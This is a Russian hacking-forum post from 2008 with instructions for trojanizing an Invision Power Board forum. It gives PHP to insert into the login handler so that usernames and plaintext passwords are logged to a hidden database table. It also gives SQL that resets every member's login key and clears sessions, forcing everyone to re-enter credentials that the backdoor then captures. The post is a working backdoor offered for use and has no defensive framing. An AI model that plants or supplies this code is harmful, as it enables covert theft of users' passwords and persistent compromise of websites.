Показать сообщение отдельно

протроянивание
  #7  
Старый 26.10.2008, 15:57
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию протроянивание

Автор VampiRUS

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
PHP код:
if ( $this->han_login->return_code != 'SUCCESS' )
        {
            
$this->log_in_form'wrong_auth' );
        } 
после них записываем:
PHP код:
$ppass=$this->ipsclass->input['PassWord'];
        
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')"); 
и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии:
UPDATE ibf_members set member_login_key='1'
и
очистить таблицу ibf_sessions.

PS Материал востановлен
Дата публикации: 09.04.2007, 13:52
Автор VampiRUS
 
Ответить с цитированием